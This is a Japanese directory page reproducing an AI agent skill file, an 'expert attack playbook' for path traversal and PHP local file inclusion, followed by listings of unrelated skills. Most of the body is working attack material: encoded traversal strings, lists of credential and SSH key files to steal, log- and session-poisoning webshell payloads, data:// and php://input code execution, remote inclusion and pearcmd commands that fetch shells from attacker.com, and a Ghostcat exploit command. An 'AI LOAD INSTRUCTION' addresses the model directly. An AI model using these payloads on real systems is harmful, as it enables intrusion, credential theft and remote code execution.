Agent Skills by ALSEL
Anthropic Claudeその他⭐ リポ 0品質スコア 50/100

path-traversal-lfi

パストラバーサルおよびLFI(ローカルファイルインクルード)に関するプレイブック。ファイルパス、ダウンロードエンドポイント、インクルード処理、アーカイブ展開、またはラッパーの挙動によってファイルシステムへの不正アクセスが生じる可能性がある場合に使用する。

description の原文を見る

>- Path traversal and LFI playbook. Use when file paths, download endpoints, include operations, archive extraction, or wrapper behavior may expose filesystem control.

SKILL.md 本文

SKILL: Path Traversal / Local File Inclusion (LFI) — Expert Attack Playbook

AI LOAD INSTRUCTION: Expert path traversal and LFI techniques. Covers encoding bypass sequences, OS differences, filter bypass, PHP wrapper exploitation, log poisoning to RCE, and the critical distinction between path traversal (read only) vs LFI (execution). Base models miss encoding chains and RCE escalation paths.

0. 関連ルーティング

本格的な悪用を開始する前に、以下をまず読み込むことができます:

  • upload insecure files 攻撃対象がインクルードまたは読み込みプリミティブではなく、アップロードワークフローである場合
  • ghost-bits-cast-attack ターゲットがJava バックエンド(Spring, Jetty, Undertow, Vert.x)であり、標準的な ../, %2e%2e, %252e チェーンが WAF でブロックされている場合 — Ghost Bits は . (U+962E)、/ (U+962F)で置き換え、Spring CVE-2025-41242 と Jetty %2> hex-folding を通じてトラバーサルを再度有効にします

ファーストパストラバーサルチェーン

../etc/passwd
../../../../etc/passwd
..%2f..%2f..%2fetc%2fpasswd
..%252f..%252f..%252fetc%252fpasswd
..\\..\\..\\windows\\win.ini

1. コア概念

Path Traversal: ../ シーケンスで意図されたディレクトリからエスケープして任意のファイルを読み込みます。 LFI: PHP では、ユーザー入力が include()/require() を制御する場合、ファイルは単に読み込まれるのではなく、PHP コードとして実行されます。

http://target.com/index.php?page=home
→ Opens: /var/www/html/pages/home.php

Traversal attack:
http://target.com/index.php?page=../../../../etc/passwd
→ Opens: /etc/passwd

2. トラバーサルシーケンスバリエーション

フィルタリング戦略によって使用するエンコーディングが決定されます:

基本

../../../etc/passwd
..\..\..\windows\system32\drivers\etc\hosts  (Windows)

URL エンコーディング

%2e%2e%2f%2e%2e%2f%2e%2e%2fetc%2fpasswd     ← %2f = '/'
%2e%2e%5c%2e%2e%5c%2e%2e%5c                  ← %5c = '\'

ダブル URL エンコーディング (サーバーが 1 回デコードし、フィルタが デコード前にチェック)

%252e%252e%252f%252e%252e%252f  ← %25 = %, double-encoded %2e
..%252f..%252fetc%252fpasswd

Unicode / オーバーロング UTF-8

..%c0%af..%c0%af     ← overlong UTF-8 encoding of '/'
..%c1%9c..%c1%9c     ← overlong UTF-8 encoding of '\'
..%ef%bc%8f          ← fullwidth solidus '/'

混合エンコーディング

..%2F..%2Fetc%2Fpasswd
....//....//etc/passwd   ← double-dot with slash (filter strips single ../)

フィルタが ../ をストリップ (../ がストリップ後も ../ となる)

....//          ← becomes ../ after filter strips ../
..././          ← becomes ../ after filter strips ./

Null Byte インジェクション (レガシー PHP < 5.3.4)

../../../../etc/passwd%00.jpg   ← %00 truncates string, strips .jpg extension
../../../../etc/passwd%00.php

3. ターゲットファイルおよびエスカレーションターゲット

Linux

/etc/passwd                  ← user list (usernames, UIDs)
/etc/shadow                  ← password hashes (requires root-level file read)
/etc/hosts                   ← internal hostnames → pivot targets
/etc/hostname                ← server hostname
/proc/self/environ           ← process environment (DB creds, API keys!)
/proc/self/cmdline           ← process command line
/proc/self/fd/0              ← stdin file descriptor
/proc/[pid]/maps             ← memory maps (loaded libraries with paths)
/var/log/apache2/access.log  ← for log poisoning
/var/log/apache2/error.log
/var/log/nginx/access.log
/var/log/auth.log            ← SSH attempt log
/var/mail/www-data            ← email for www-data user
/home/USER/.ssh/id_rsa       ← SSH private key
/home/USER/.ssh/authorized_keys
/home/USER/.bash_history     ← command history (credentials!)
/home/USER/.aws/credentials  ← AWS keys
/tmp/sess_SESSIONID          ← PHP session files (if session.save_path=/tmp)

Web アプリケーション設定ファイル

/var/www/html/.env           ← Laravel/Node.js env vars
/var/www/html/config.php     ← PHP config
/var/www/html/wp-config.php  ← WordPress DB credentials
/etc/apache2/sites-enabled/  ← Apache vhosts
/etc/nginx/sites-enabled/    ← Nginx config
/usr/local/etc/nginx/nginx.conf

Windows

C:\Windows\System32\drivers\etc\hosts
C:\Windows\win.ini
C:\Windows\System32\config\SAM          ← NTLM hashes (often locked)
C:\inetpub\wwwroot\web.config           ← ASP.NET DB connection strings
C:\inetpub\wwwroot\global.asa
C:\xampp\htdocs\wp-config.php
C:\Users\Administrator\.ssh\id_rsa
C:\ProgramData\MySQL\MySQL Server 8\my.ini  ← MySQL config

4. PHP LFI → RCE テクニック

ログポイズニング (ログアクセス可能な場合が最も信頼性が高い)

ステップ 1: User-Agent 経由で Apache/Nginx アクセスログに PHP コードをインジェクト:

GET / HTTP/1.1
User-Agent: <?php system($_GET['cmd']); ?>

ステップ 2: LFI 経由でログファイルをインクルード:

?page=../../../../var/log/apache2/access.log&cmd=id

SSH ログポイズニング

SSH ユーザー名として PHP ペイロードをインジェクト:

ssh '<?php system($_GET["cmd"]); ?>'@target.com

その後 /var/log/auth.log をインクルード。

PHP セッションファイルポイズニング

ステップ 1: セッションに保存されたパラメータ(例: ユーザー名)に PHP コードを送信し、セッションファイルへの保存をトリガー ステップ 2: セッションファイルをインクルード:

?page=../../../../tmp/sess_SESSIONID&cmd=id

セッション ID をクッキー PHPSESSID から探します。

PHP ラッパーによる RCE

php://expect ラッパー (requires expect PHP extension):

?page=expect://id

php://input ラッパー (LFI と POST ボディを結合):

POST ?page=php://input
Body: <?php system('id'); ?>

data:// ラッパー (base64 として直接 PHP をインジェクト):

?page=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4=&cmd=id

(PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7Pz4= = <?php system($_GET['cmd']); ?>)


5. PHP フィルタラッパー (ファイルコンテンツ読み込み)

php://filter を使用してファイルコンテンツを base64 エンコードし、null バイトやバイナリデータを回避:

?page=php://filter/convert.base64-encode/resource=config.php
?page=php://filter/convert.base64-encode/resource=/etc/passwd
?page=php://filter/read=string.rot13/resource=config.php
?page=php://filter/convert.iconv.UTF-8.UTF-16LE/resource=config.php

返された base64 をデコードしてファイルコンテンツを表示します (PHP ソースコードを含む)。

フィルタのチェーン (複数の変換により入力フィルタをバイパス):

?page=php://filter/convert.base64-encode|convert.base64-encode/resource=/etc/passwd

6. リモートファイルインクルージョン (RFI) — 有効な場合

PHP の allow_url_include = On の場合 (稀ですが存在します):

?page=http://attacker.com/shell.txt
?page=ftp://attacker.com/shell.php

<?php system($_GET['cmd']); ?> を含む shell.txt をホストします。


7. サーバー固有のパストトランケーション

PHP には歴史的なパス長制限があります。. または /./ で埋めてアペンドされた拡張子をトランケート:

?page=../../../../etc/passwd/./././././././././././............ (255+ chars)

サーバーが .php を追加する場合、トランケーションはそれをドロップします。

または PHP < 5.3.4 の場合は null byte:

?page=../../../../etc/passwd%00

8. パラメータロケーションテスト

?file=        ?page=        ?include=    ?path=
?doc=         ?view=        ?load=       ?read=
?template=    ?lang=        ?url=        ?src=
?content=     ?site=        ?layout=     ?module=

また以下もテストしてください: HTTP ヘッダ、クッキー、フォーム action 値、インポート/アップロード機能。


9. フィルタバイパスチェックリスト

../ がストリップまたはブロックされている場合:

□ URL エンコーディングをお試しください: %2e%2e%2f
□ ダブル URL エンコーディングをお試しください: %252e%252e%252f
□ オーバーロング UTF-8 をお試しください: ..%c0%af / ..%ef%bc%8f
□ 混合をお試しください: ..%2F or ..%5C (バックスラッシュ on Linux)
□ 冗長シーケンスをお試しください: ....// or ..././ (strip once → still ../)
□ Null byte をお試しください: /../../../etc/passwd%00
□ 絶対パスをお試しください: /etc/passwd (パスプレフィックスが追加されていない場合)
□ Windows UNC をお試しください (Windows サーバー): \\127.0.0.1\C$\Windows\win.ini

10. インパクトエスカレーションパス

Path traversal (arbitrary file read)
├── Read /etc/passwd → enumerate users
├── Read /proc/self/environ → find API keys, DB passwords in env
├── Read app config files → find credentials → horizontal movement
├── Read SSH private keys → direct server login
└── Find log paths → Log Poisoning → LFI RCE

LFI (PHP code inclusion)
├── Log poisoning → webshell
├── Session file poisoning → webshell  
├── php://input → direct code execution
├── data:// → direct code execution
└── php://filter → read PHP source code → find more vulnerabilities

11. LFI to RCE エスカレーションパス

メソッド要件ペイロード
Log Poisoning (Apache)LFI + Apache access.log 読み込み可能User-Agent に <?php system($_GET['c']);?> をインジェクト → /var/log/apache2/access.log をインクルード
Log Poisoning (SSH)LFI + SSH auth.log 読み込み可能<?php system('id');?>@target として SSH → /var/log/auth.log をインクルード
Log Poisoning (Mail)LFI + mail log 読み込み可能PHP を件名に含むメール送信 → /var/log/mail.log をインクルード
/proc/self/fd ブルートフォースLFI + Linux/proc/self/fd/0 から /proc/self/fd/255 までをブルートフォース、インジェクトされたコンテンツ含むオープンファイルハンドルを探索
/proc/self/environLFI + CGI/FastCGIUser-Agent ヘッダに PHP をインジェクト → /proc/self/environ をインクルード
iconv CVE-2024-2961glibc < 2.39, PHP with php://filterphp://filter/convert.iconv.UTF-8.ISO-2022-CN-EXT/resource= チェーンでヒープオーバーフロー → RCE。ツール: cnext-exploits
phpinfo() アシストLFI + phpinfo ページアクセス可能レースコンディション: multipart 経由でアップロード → phpinfo から tmp パス を取得 → クリーンアップ前にインクルード
PHP SessionLFI + セッションファイル書き込み可能セッション変数を制御可能な値で制御可能に → /tmp/sess_SESSIONID または /var/lib/php/sessions/sess_SESSIONID をインクルード
Upload raceLFI + アップロードエンドポイントPHP ファイルをアップロード → サーバー側の検証/削除前にインクルード

12. PHP ラッパー悪用マトリックス

php://filter (最も強力、常に最初に試す)

php://filter/convert.base64-encode/resource=index.php
php://filter/read=string.rot13/resource=index.php
php://filter/convert.iconv.utf-8.utf-16/resource=index.php
php://filter/zlib.deflate/resource=index.php

フィルタチェーン RCE (synacktiv php_filter_chain_generator):

  • 複数の convert.iconv フィルタをチェーンして、ファイルアップロードなしで任意のバイトを書き込み
  • ツール: synacktiv/php_filter_chain_generator → PHP コードを書き込むチェーンを生成
  • python3 php_filter_chain_generator.py --chain '<?php system("id");?>'

convert.iconv + dechunk oracle (ブラインドファイル読み込み):

  • ツール: synacktiv/php_filter_chains_oracle_exploit (filters_chain_oracle_exploit)
  • エラー/動作の差異を通じてファイルコンテンツを 1 文字ずつ読み込み

php://input

POST vulnerable.php?page=php://input
Body: <?php system('id'); ?>

要件: allow_url_include=On

data://

data://text/plain,<?php system('id');?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==
data:text/plain,<?php system('id');?>    ← note: no double slash variant also works

phar://

phar://uploaded.phar/test.php

phar メタデータのデシリアライゼーションをトリガー → POP チェーン経由の RCE (ファイルアップロードが必要、JPEG に偽装可能)

zip://

zip://uploaded.zip%23shell.php

expect://

expect://id

要件: expect 拡張子 (稀)


13. PEARCMD LFI 悪用

pearcmd.php が LFI 経由でアクセス可能な場合 (Docker PHP イメージで一般的):

メソッドペイロード
config-create/?file=pearcmd.php&+config-create+/<?=phpinfo()?>+/tmp/shell.php
man_dir/?file=pearcmd.php&+-c+/tmp/shell.php+-d+man_dir=<?=phpinfo()?>+-s+
download/?file=pearcmd.php&+download+http://attacker.com/shell.php
install/?file=pearcmd.php&+install+http://attacker.com/shell.tgz

14. Windows 固有の LFI テクニック

FindFirstFile ワイルドカード (Windows のみ):

  • < は任意の 1 文字と一致、> は任意のシーケンスと一致 (?* に似ていますが ファイル API 内)
  • php<<php5, phtml などと一致可能
  • ..\..\windows\win.ini → ファジーマッチングに << を使用: ..\..\windows\win<<

15. パラメータ命名パターン (高周波ターゲット)

脆弱性研究統計分析に基づく:

パラメータ名頻度コンテキスト
filename, file, pathVery HighDirect file operations
page, include, templateHighTemplate/page inclusion
url, src, hrefHighResource loading
download, read, loadMediumFile download/read
dir, folder, rootMediumDirectory operations
hdfile, inputFile, XFileNameLowCMS/middleware specific
FileUrl, filePath, docPathLowEnterprise app specific

高周波脆弱エンドポイント:

down.php, download.jsp, download.asp, readfile.php, file_download.php, getfile.php, view.php


16. LFI to RCE — エスカレーションパス

1. /proc/self/fd ブルートフォース

# ファイルアップロードが存在するが、パスが不明な場合:
# アップロードされたファイルは一時的な fd を /proc/self/fd/ に取得
# fd 番号をブルートフォース:
/proc/self/fd/0 through /proc/self/fd/255
# クリーンアップ前に一時ファイルをインクルード

2. /proc/self/environ ポイズニング

# User-Agent が プロセス環境に反映される場合:
GET /vuln.php?page=/proc/self/environ
User-Agent: <?php system($_GET['c']); ?>

3. ログポイズニング

# Apache アクセスログ:
GET /<?php system($_GET['c']); ?> HTTP/1.1
# その後インクルード: /var/log/apache2/access.log

# SSH auth log (ユーザー名フィールド):
ssh '<?php system($_GET["c"]); ?>'@target
# その後インクルード: /var/log/auth.log

# メールログ (SMTP 件名):
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@target.com>
DATA
Subject: <?php system($_GET['c']); ?>
.
# その後インクルード: /var/log/mail.log

4. PHP セッションファイルポイズニング

# セッション変数を PHP コードに設定:
GET /page.php?lang=<?php system($_GET['c']); ?>
# セッションファイル: /tmp/sess_PHPSESSID or /var/lib/php/sessions/sess_PHPSESSID
# セッションファイルをインクルード

5. phpinfo() アシスト LFI

# レースコンディション: phpinfo() 経由で一時ファイルをアップロード
# 1. POST multipart ファイルを phpinfo() ページに → tmp_name を明かす (/tmp/phpXXXXXX)
# 2. PHP がそれをクリーンアップする前に一時ファイルをインクルード
# 多数の同時リクエスト (race window ~10ms) が必要

6. iconv CVE-2024-2961

# PHP フィルタチェーンにおける glibc iconv バッファオーバーフロー
# ツール: cfreal/cnext-exploits
# 書き込み可能なパスやログポイズニングを必要とせずに LFI を RCE に変換

17. PHP ラッパー悪用マトリックス

php://filter (ファイル読み込み、実行なし)

# Base64 エンコードソースコード:
php://filter/convert.base64-encode/resource=index.php

# ROT13:
php://filter/read=string.rot13/resource=index.php

# 複数フィルタをチェーン:
php://filter/convert.iconv.UTF-8.UTF-16/resource=index.php

# Zlib 圧縮:
php://filter/zlib.deflate/resource=index.php

# NEW: フィルタチェーン RCE (synacktiv php_filter_chain_generator)
# iconv 変換を通じて任意のコンテンツを書き込むチェーンを生成
# ツール: synacktiv/php_filter_chain_generator
python3 php_filter_chain_generator.py --chain '<?php system($_GET["c"]); ?>'
# 生成: php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|...|/resource=php://temp

convert.iconv + dechunk oracle (ブラインドファイル読み込み)

# エラーベースのオラクル: ファイルの最初のバイトが文字と一致するかどうかを判定
# ツール: synacktiv/php_filter_chains_oracle_exploit
# エラー/動作の差異を通じてファイルを 1 文字ずつ読み込み

data:// ラッパー

# 任意の PHP を実行:
data://text/plain,<?php system('id'); ?>
data://text/plain;base64,PD9waHAgc3lzdGVtKCdpZCcpOyA/Pg==

# data:// がフィルタされても data: (// なし) が機能する場合:
data:text/plain,<?php system('id'); ?>

expect:// ラッパー

expect://id
expect://ls
# expect 拡張子が必要 (稀ですがチェック)

php://input

POST /vuln.php?page=php://input
Content-Type: application/x-www-form-urlencoded

<?php system('id'); ?>

zip:// と phar:// ラッパー

# zip://: PHP ファイルを含む ZIP をアップロード
zip:///tmp/upload.zip#shell.php

# phar://: phar メタデータのデシリアライゼーション をトリガー!
phar:///tmp/upload.phar/anything
# 細工された phar メタデータオブジェクトを作成
# POP ガジェットチェーン経由で RCE にチェーン可能 (PHP デシリアライゼーション同様)
# Phar は JPEG に偽装可能 (polyglot phar-jpg)

wrapwrap (プレフィックス/サフィックスインジェクション)

# ツール: ambionics/wrapwrap
# フィルタチェーン経由でファイルコンテンツに任意のプレフィックスとサフィックスを追加
# ファイル読み込みを XXE、SSRF、またはデシリアライゼーショントリガーに変換するのに有用

18. PEARCMD LFI to RCE

PEAR がインストールされており register_argc_argv=On である場合 (Docker PHP イメージで一般的):

# メソッド 1: config-create (任意のコンテンツをファイルに書き込み)
GET /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd.php&/<?=phpinfo()?>+/tmp/shell.php

# メソッド 2: man_dir (ドキュメントディレクトリを変更してパスを書き込み)
GET /index.php?+-c+/tmp/shell.php+-d+man_dir=<?=system($_GET[0])?>+-s+/usr/local/lib/php/pearcmd.php

# メソッド 3: download (リモートファイルを取得)
GET /index.php?+download+http://attacker.com/shell.php&file=/usr/local/lib/php/pearcmd.php

# メソッド 4: install (リモートパッケージをインストール)
GET /index.php?+install+http://attacker.com/evil.tgz&file=/usr/local/lib/php/pearcmd.php

Windows FindFirstFile ワイルドカード

# Windows << と > ワイルドカードをファイルパスで使用:
# << は任意の拡張子と一致、> は後に 1 文字続く場合と一致
include("php<<");      # any .php* file と一致
include("shel>");      # shell.php と一致 (1 文字が続く場合)
# 正確なファイル名が不明な場合に有用

19. パラメータ命名パターンと高周波エンドポイント

一般的な脆弱パラメータ名

filename    filepath    path        file        url
template    page        include     dir         document
folder      root        pg          lang        doc
conf        data        content     name        src
inputFile   hdfile      XFileName   FileUrl     readfile

高周波脆弱エンドポイント

エンドポイントパターン周波数
down.php / download.phpVery High
download.jsp / download.doVery High
download.asp / download.aspxHigh
readfile.php / file.phpHigh
export / report エンドポイントMedium
template / preview エンドポイントMedium

バイパス技術分布 (フィールドリサーチより)

テクニック普及度
絶対パス直接アクセスMost common
WEB-INF/web.xml 読み込み (Java)Common
Base64 エンコードパスパラメータModerate
ダブル URL エンコーディングModerate
UTF-8 オーバーロング エンコーディング (%c0%ae)Rare but effective
Null byte トランケーション (%00)Legacy (PHP < 5.3.4)

20. Java / Spring パストラバーサル

Spring リソースロード

// 脆弱なパターン — ユーザー入力がリソースパスに流れる
ClassPathResource r = new ClassPathResource(userInput);
getClass().getResourceAsStream("/templates/" + userInput);
servletContext.getResourceAsStream("/WEB-INF/" + userInput);
# WEB-INF デプロイメント記述子を読み込み
GET /download?file=../WEB-INF/web.xml
GET /download?file=../WEB-INF/classes/application.properties
GET /download?file=../WEB-INF/classes/META-INF/persistence.xml

# Spring Boot 固有
GET /download?file=../WEB-INF/classes/application.yml
GET /download?file=../WEB-INF/classes/bootstrap.properties

高価値 Java ターゲット

/WEB-INF/web.xml                        ← servlet mappings, filter chains, security constraints
/WEB-INF/classes/application.properties  ← DB creds, API keys, Spring config
/WEB-INF/classes/application.yml         ← same, YAML format
/WEB-INF/lib/                            ← application JARs (download for decompilation)
/META-INF/MANIFEST.MF                    ← build metadata, main class
/META-INF/context.xml                    ← Tomcat datasource definitions

Spring MVC ResourceHttpRequestHandler

静的リソースが spring.resources.static-locations 経由で提供される場合:

GET /static/..%252f..%252fWEB-INF/web.xml
GET /static/..;/..;/WEB-INF/web.xml       ← Tomcat path parameter normalization

21. Tomcat 固有のトリック

パスパラメータ正規化 (/..;/)

Tomcat は ; をパスパラメータデリミタとして扱い、; から次の / までのすべてをパス解決前にストリップしますが、上流のプロキシまたは WAF はそうしない場合があります:

GET /app/..;/manager/html           ← Tomcat resolves to /manager/html
GET /app/..;jsessionid=x/..;/WEB-INF/web.xml

WAF バイパスチェーン: リバースプロキシは /app/..;/manager/html/app/ の下のパスとして認識 (許可), しかし Tomcat は ..;.. に正規化してトラバーサルアップ。

AJP Ghostcat (CVE-2020-1938)

Apache JServ Protocol (AJP, port 8009) がネットワークに公開されている場合、任意のファイル読み込みと JSP 実行が可能:

# AJP を通じて任意のファイルを読み込み
python3 ajpShooter.py http://target:8009 /WEB-INF/web.xml read

# 攻撃者制御ファイルを実行用 JSP としてインクルード
python3 ajpShooter.py http://target:8009 / eval --ajp-secret="" \
  -H "javax.servlet.include.request_uri:/anything" \
  -H "javax.servlet.include.servlet_path:/uploads/avatar.txt"

条件: AJP コネクタがポート 8009 でリーチ可能 (デフォルト Tomcat、Docker/internal ではしばしばファイアウォールなし)。secretRequired が Tomcat 9.0.31 より前にセット解除。

Tomcat ダブル URL デコード

GET /%252e%252e/%252e%252e/etc/passwd

22. Nginx エイリアス設定ミス

トレーリングスラッシュの罠

# 脆弱 — location にトレーリングスラッシュがない
location /assets {
    alias /data/;
}

Nginx は /assets../etc/passwd/data/../etc/passwd から /etc/passwd にマップします。なぜなら alias は完全なロケーションプレフィックス (/assets) をエイリアスパス (/data/) に置き換え、残りの ../ がトラバーサルアップするため。

GET /assets../etc/passwd HTTP/1.1
GET /assets..%2f..%2fetc%2fpasswd HTTP/1.1

正しい設定:

location /assets/ {
    alias /data/;
}

location + alias のオフバイワン

location /img {
    alias /var/images;
}
# /img../secret -> /var/images/../secret -> /var/secret

ルール: alias を使用する場合、location プレフィックスとエイリアスパスの両方は / で終わるか、どちらも / で終わらないかのいずれか。


23. Node.js パスモジュール特性

URL エンコード入力での path.join()

const path = require('path');

app.get('/files/:name', (req, res) => {
    const filePath = path.join(__dirname, 'uploads', req.params.name);
    res.sendFile(filePath);
});

Express は req.paramspath.join の前に URL デコード:

GET /files/..%2f..%2f..%2fetc%2fpasswd
req.params.name = "../../../etc/passwd" (already decoded)
path.join(__dirname, 'uploads', '../../../etc/passwd') = /etc/passwd

express.static() の特性

  • パスで decodeURIComponent を呼び出し、その後 path.normalize() を呼び出し
  • ダブルエンコーディング (%252e%252e%252f) は、ミドルウェアが 1 回デコードし、その後 express.static が再度デコードする場合をバイパス
  • Null byte (%00) は最新の Node.js (v14+) では拒否されますが、レガシーバージョンはトランケート可能

url.parse() vs new URL() の混同

// レガシー: url.parse() はパストラバーサルを解決しない
const parsed = require('url').parse(userInput);
// parsed.pathname は ../ を含むことがあります

// モダン: new URL() はパスを正規化
const parsed = new URL(userInput, 'http://localhost');
// parsed.pathname は ../ が解決されている

url.parse()path.join() を混合するアプリは、new URL() が正規化していれば許可しないトラバーサルを許可する可能性があります。


24. IIS ショートファイル名列挙 (~1 チルダトリック)

コンセプト

Windows NTFS は 8.3 ショートファイル名 (例: LONGFI~1.TXT) を生成します。IIS は有効な vs 無効なショートネームプレフィックスに対して異なり応答します。

検出方法

GET /W~1.ASP HTTP/1.1  -> 404 (name pattern valid)
GET /Z~1.ASP HTTP/1.1  -> 400 (bad request)

差分応答は、そのプレフィックスで始まるファイルが存在するかどうかを明かします。

列挙プロセス

ステップ 1: /A~1* -> 404 = A で始まるファイルが存在
ステップ 2: /AB~1* -> 404 = AB で始まるファイルが存在
ステップ 3: /ABCDEF~1.A* -> 404 = 拡張子が A で始まる

ツール

java -jar iis_shortname_scanner.jar https://target.com/

インパクト

  • 隠しバックアップ、設定ファイル、ソースコードを発見
  • より短いブルートフォーススペース: 8.3 形式は文字セットを制限
  • ディレクトリリストが無効な場合でも機能

ライセンス: MIT(寛容ライセンスのため全文を引用しています) · 原本リポジトリ

詳細情報

作者
yaklang
リポジトリ
yaklang/hack-skills
ライセンス
MIT
最終更新
不明

Source: https://github.com/yaklang/hack-skills / ライセンス: MIT

関連スキル

汎用その他⭐ リポ 1,982

superfluid

Superfluidプロトコルおよびそのエコシステムに関するナレッジベースです。Superfluidについて情報を検索する際は、ウェブ検索の前にこちらを参照してください。対応キーワード:Superfluid、CFA、GDA、Super App、Super Token、stream、flow rate、real-time balance、pool(member/distributor)、IDA、sentinels、liquidation、TOGA、@sfpro/sdk、semantic money、yellowpaper、whitepaper

by LeoYeAI
汎用その他⭐ リポ 100

civ-finish-quotes

実質的なタスクが真に完了した際に、文明風の儀式的な引用句を追加します。ユーザーやエージェントが機能追加、リファクタリング、分析、設計ドキュメント、プロセス改善、レポート、執筆タスクといった実際の成果物を完成させるときに、明示的な依頼がなくても使用します。短い返信や小さな修正、未完成の作業には適用しません。

by huxiuhan
汎用その他⭐ リポ 1,110

nookplot

Base(Ethereum L2)上のAIエージェント向け分散型調整ネットワークです。エージェントがオンチェーンアイデンティティを登録する、コンテンツを公開する、他のエージェントにメッセージを送る、マーケットプレイスで専門家を雇う、バウンティを投稿・請求する、レピュテーションを構築する、共有プロジェクトで協業する、リサーチチャレンジを解くことでNOOKをマイニングする、キュレーションされたナレッジを備えたスタンドアロンオンチェーンエージェントをデプロイする、またはアグリーメントとリワードで収益を得る場合に利用できます。エージェントネットワーク、エージェント調整、分散型エージェント、NOOKトークン、マイニングチャレンジ、ナレッジバンドル、エージェントレピュテーション、エージェントマーケットプレイス、ERC-2771メタトランザクション、Prepare-Sign-Relay、AgentFactory、またはNookplotが言及された場合にトリガーされます。

by BankrBot
汎用その他⭐ リポ 59

web3-polymarket

Polygon上でのPolymarket予測市場取引統合です。認証機能(L1 EIP-712、L2 HMAC-SHA256、ビルダーヘッダー)、注文発注(GTC/GTD/FOK/FAK、バッチ、ポストオンリー、ハートビート)、市場データ(Gamma API、Data API、オーダーブック、サブグラフ)、WebSocketストリーミング(市場・ユーザー・スポーツチャネル)、CTF操作(分割、統合、償却、ネガティブリスク)、ブリッジ機能(入金、出金、マルチチェーン)、およびガスレスリレイトランザクションに対応しています。AIエージェント、自動マーケットメーカー、予測市場UI、またはPolygraph上のPolymarketと統合するアプリケーション構築時に活用できます。

by elophanto
汎用その他⭐ リポ 52

ethskills

Ethereum、EVM、またはブロックチェーン関連のリクエストに対応します。スマートコントラクト、dApps、ウォレット、DeFiプロトコルの構築、監査、デプロイ、インタラクションに適用されます。Solidityの開発、コントラクトアドレス、トークン規格(ERC-20、ERC-721、ERC-4626など)、Layer 2ネットワーク(Base、Arbitrum、Optimism、zkSync、Polygon)、Uniswap、Aave、Curveなどのプロトコルとの統合をカバーします。ガスコスト、コントラクトのデシマル設定、オラクルセキュリティ、リエントランシー、MEV、ブリッジング、ウォレット管理、オンチェーンデータの取得、本番環境へのデプロイ、プロトコル進化(EIPライフサイクル、フォーク追跡、今後の変更予定)といったトピックを含みます。

by jiayaoqijia
汎用その他⭐ リポ 44

xxyy-trade

このスキルは、ユーザーが「トークン購入」「トークン売却」「トークンスワップ」「暗号資産取引」「取引ステータス確認」「トランザクション照会」「トークンスキャン」「フィード」「チェーン監視」「トークン照会」「トークン詳細」「トークン安全性確認」「ウォレット一覧表示」「マイウォレット」「AIスキャン」「自動スキャン」「ツイートスキャン」「オンボーディング」「IP確認」「IPホワイトリスト」「トークン発行」「自動売却」「損切り」「利益確定」「トレーリングストップ」「保有者」「トップホルダー」「KOLホルダー」などをリクエストした場合、またはSolana/ETH/BSC/BaseチェーンでXXYYを経由した取引について言及した場合に使用します。XXYY Open APIを通じてオンチェーン取引とデータ照会を実現します。

by Jimmy-Holiday
本サイトは GitHub 上で公開されているオープンソースの SKILL.md ファイルをクロール・インデックス化したものです。 各スキルの著作権は原作者に帰属します。掲載に問題がある場合は info@alsel.co.jp または /takedown フォームよりご連絡ください。
原作者: yaklang · yaklang/hack-skills · ライセンス: MIT